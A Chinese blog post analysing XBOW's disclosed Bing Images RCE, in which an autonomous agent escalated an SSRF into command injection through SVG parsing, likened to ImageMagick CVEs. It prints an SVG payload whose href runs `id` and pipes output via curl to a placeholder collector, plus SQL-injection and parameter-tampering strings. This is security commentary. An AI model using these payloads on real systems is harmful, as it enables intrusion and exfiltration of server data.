昨天聊完 ImageMagick 曾經出現過的兩個漏洞,今天終於要來淺析 XBOW 團隊的 A Shell Is Worth a Thousand Images: Bing Images RCEs [[1]]。
先介紹一下今天的主角。
XBOW 是一間專注在自動化 Offensive Security 的公司,創辦人 Oege de Moor 本身是靜態分析(SAST)領域的專家,也曾創辦 Semmle——就是後來被 GitHub 收購、發展成 CodeQL 的團隊。
根據 XBOW 官網 [[2]] 截至 2026 年的自述,它們已經在客戶環境找到超過 14,000 個 Zero Days,並在 2025 年成為第一個爬上 HackerOne 美國排行榜第一名的全自動化系統。
我最早對它們的印象則是來自 2024 年 LLM 與各式 Harness 都還在成長時,XBOW 就率先公開了一系列 Web Security Benchmarks [[3]]。在 104 個全新題目上,XBOW 當時拿到 85% 的成功率;後續與人類滲透測試員比較時,成績與 Principal Pentester 相同,但人類用了 40 小時,XBOW 則用了 28 分鐘 [4]。
這些是 2024 年的 Benchmark,XBOW 現在自己也標註它們已經過時了,不過放回當年的時間點看,至少已經說明在 Web 滲透這條賽道上,專用 Agent 並不只是會幫你把 ' OR 1=1-- 貼進 Input 而已。
2026 年 XBOW 也成為 DEF CON 34 Bug Bounty Village CTF 的主要贊助者,直接把 Autonomous Hacking 搬到社群現場讓大家現場看 Agent 搶飯碗(誤) [5]。
一開始是他們在測試 Bing 以圖搜圖功能時,注意到兩件事情
到這邊拿到的是一個有限的 SSRF Primitive
以人類而言可能到這邊第一步驟就是開始嘗試各種奇怪的協議像是 gopher://、file:// 或者製造各種 redirect/error 想辦法多 leak 點訊息
不過 XBOW Agent 下一步驟想到的是被傳入的圖片會怎麼被解析。
因為發現上傳 XML/SVG 檔案不會報錯,想當然第一步驟是測試我們的 XXE[6] 漏洞!
不過在引入外部 dtd 無 callback/無回顯、報錯後,Agent 切入的方向成了 "SVG 檔案在內部的解析方法"
於是就有了以下 Payload:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<image href="|id | curl -d @- https://[OOB-COLLECTOR]/output" width="1" height="1"/>
</svg>
沒錯,一個樸實無華地 Command Injection,Web CTF 100 分新手題。
其實會有這樣的猜想並不是毫無理由,其一是他們發現在 SVG 中引入 href 會產生 callback (User-Agent 是 curl)。
這不就跟昨天介紹的 CVE-2016-3714 一樣嗎 xD,同樣是在處理圖片時,因為嘗試抓取外部資料導致的 CMDi(事實上 XBow 內部公開的 Agent 截圖自己也這樣說就是了)
相似的歷史並不只有這個組合,早在 2025 年,Xbow 就曾經對 Titiler(專為網頁地圖打造的圖磚系統,在使用者請求地圖資料時才 on the fly 去讀取而不是把這份資料丟給 client)透過 FastAPI 報錯還原未公開定義的 /vsi* 一系列方法,進而可以透過參數將任意檔案內容包進生成的 PNG 並讓攻擊者能還原回來。官方 Post [7]
與此同時一樣是昨天講過的 Imagemagick 漏洞 CVE-2022-44268 LFI,也是自定義的參數中會讀取檔案並將內容嵌入。
其實對於自動化 Pentesting 人類與 Agent 優勢的差異我一直是抱持疑問態度的,畢竟實際拿 HackTheBox 上靶機測試後,毫無任何 Skills/不具有特定工具的 AI Agent 打起 Hard 難度以上/多層 Pivote 甚至可能要做 Evasion 的 Windows 靶機依然不見長,但如果有對應的 Skills/工具準備好就容易許多,但 Skills/工具不就是由人類產生的方法論嗎 xD。
另一方面,以這次的例子來看則完全凸顯了 AI Agents 的優勢,畢竟在現實世界打站時傳統的人類測試員光是一個簡單的 ?id=1 就有幾十種包含:
?id[]=1
?id%00=1
?id=./1
?id=1'
?id=1
?id=1%0d%0a最後,拿曾經發生過的白箱 1 Day/CVE 作為黑箱測試時的猜想 Boundary 其實是個不錯的 idea(嗎?),畢竟如果白箱都沒發現過的東西其實有點難想像會在黑箱測試時出現,可能也是省成本(token)不錯的方法 xD